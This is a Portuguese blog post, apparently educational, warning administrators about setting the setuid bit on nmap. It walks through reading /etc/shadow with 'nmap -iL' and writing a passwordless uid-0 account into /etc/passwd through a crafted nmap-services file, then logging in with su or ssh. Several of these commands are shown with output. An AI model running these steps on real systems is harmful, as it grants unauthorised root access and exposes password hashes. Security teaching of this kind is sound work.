Abusando dos Suid-Bit’s

Introdução

Nessa postagem mostrarei o perigo que é dar permissão suid-bit de forma inadvertida em binários do sistema que leem e/ou escrevem no disco. A ideia e os exemplos nessa postagem foram retirados totalmente de [1] e o programa de teste é o nmap, mas o conceito pode ser estendido para outros programas.

O problema

Quando um programa é projetado para ser um suid-bit ele deve considerar vários aspectos de segurança, como a validação rigorosa de toda a entrada do usuário e também a necessidade de realizar tarefas com o mínimo possível de privilégios. Por exemplo, se um programa root suid-bit necessita abrir um arquivo passado pelo usuário então ele deve obrigatoriamente fazer isso com o privilégio do usuário e não do root. Quando ocorre essa passagem de um privilégio alto para um menor falamos que o programa deu um “drop” nos seus privilégios.

Um programa que não foi projetado para ser suid-bit não tem a obrigação de seguir essa regra de privilégio mínimo porque ele espera executar suas tarefas com as permissões do usuário que o executou. Se de alguma maneira esse programa receba a permissão suid-bit do administrador do sistema então um usuário comum poderá usá-lo para acessar arquivos importantes do sistema através de suas operações de leitura e escrita.

Um exemplo bastante comum de acontecer é o administrador setar o bit-suid no nmap:

# chmod +s /usr/bin/nmap

O nmap é um programa de análise de redes largamente usado por administradores de sistema. Ele consegue executar algumas funções como usuário normal, porém recursos mais avançados só são executados como root. Então parece ser mais cômodo setá-lo como suid-bit para não haver a necessidade de se logar como root toda vez que for usá-lo.

O erro de se fazer isso é que o nmap não foi projetado para ser um executável suid-bit, isso é, o programa não tem que seguir obrigatoriamente algumas regras de segurança como a do drop de privilégios. Esse fato desencadeia em uma enorme brecha de segurança já que o programa poderá ser usado para ler e escrever em qualquer arquivo do sistema.

Abusando da leitura

No caso do nmap, a opção -iL faz uma leitura em um arquivo a procura de hosts. O que aconteceria se passássemos algum arquivo do sistema?

$ nmap -iL /etc/shadow
Starting Nmap 6.40 ( http://nmap.org ) at 2014-01-26 14:56 BRST
Failed to resolve "at:!:16070::::::".
Failed to resolve "bin:*:16015::::::".
Failed to resolve "daemon:*:16015::::::".
[..]
Unable to split netmask from target expression:
"root:$6$bmFkYSBkZSBpbnRlcmVzc2FudGUgYXF1aSByYXBhego:16070::::::"
Failed to resolve "rtkit:!:16015::::::".
Failed to resolve "scard:!:16015::::::".
Failed to resolve "sshd:!:16015::::::".
[..]
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 3.97 seconds

Oops, acho que conseguimos ler o arquivo de senhas do sistema :D.

Abusando da Escrita

Através das opções -oN/-oX/-oS/-oG o nmap realiza escrita em arquivos. Como ele faz isso sem dar drop nos privilégios fica fácil sobrescrever qualquer arquivo do sistema. Aqui tentaremos inserir um usuário sem senha no /etc/passwd.

Usaremos o seguinte truque: modificaremos a saída do nmap criando o arquivo nmap-services, que permite que seja fornecido nomes alternativos para portas abertas. Como exemplo, renomearemos o serviço aberto na porta 25:

$ echo 'AAAAAAAAAA 25/tcp' > /home/user/nmap-services

$ export NMAPDIR=/home/user
$ nmap --append_output -oN arquivo_teste.txt localhost

$ cat arquivo_teste.txt
[..]
PORT     STATE SERVICE
25/tcp   open  AAAAAAAAAA
631/tcp  open  unknown
[..]

/home/user é a pasta do seu usuário. Em $NMAPDIR passamos o diretório em que está o arquivo nmap-services. A sintaxe desse arquivo é o nome o serviço mais porta/protocolo. A porta 25 deve estar aberta na máquina em questão. Caso não haja porta aberta, você pode abrir qualquer uma outra usando o netcat e depois alterar o conteúdo do nmap-services.

Para adicionar um usuário sem senha no sistema, simplesmente alteramos o conteúdo do nmap-services usando como nome uma linha válida do /etc/passwd. Assim:

$ echo 'hacker::0:0:root:/tmp:/bin/bash > /home/user/nmap-services

$ export NMAPDIR=/home/user
$ nmap --append_output -oN /etc/passwd localhost

Starting Nmap 6.40 ( http://nmap.org ) at 2014-01-27 00:14 BRST
[..]
25/tcp   open  hacker::0:0:root:/tmp:/bin/bash
631/tcp  open  unknown
[..]

Veja que toda a saída do nmap foi adicionada ao /etc/passwd. O mais importante é que a seguinte linha estará lá:

25/tcp   open  hacker::0:0:root:/tmp:/bin/bash

Por incrível que pareça, a string "25/tcp open hacker" é um nome válido de usuário. Para autenticar, digite:

$ su - "25/tcp     open        hacker"

Como apontado por [1], o su de alguns sistemas não executará com sucesso. Você pode tentar outras alternativas, como o ssh:

$ ssh -l "25/tcp     open        hacker" localhost

Se você ainda recebe um prompt pedindo senha, então crie um hash com a função crypt() do perl:

$ perl -e 'print crypt("password", "XX"). "\n"'
XXq2wKiyI43A2

A senha do usuário será “password” (sem aspas). Feito isso, altere a linha do nmap-services para hacker:XXq2wKiyI43A2:0:0:root:/tmp:/bin/bash
e tente logar novamente com o comando su acima.

Conclusão

É necessário extremo cuidado ao se setar o suid-bit em binários root que não foram projetados para receber tal bit. As consequências disso podem ser desastrosas principalmente se o programa não faz drop nos privilégios antes de realizar leitura e escrita em arquivos indicados pelo usuário.

Referências

[1] nmap-suid.txt by Aaron(synfin) (Acessado em: Janeiro/2014)
http://synfin.net/papers/nmap-suid.txt

Deixe um comentário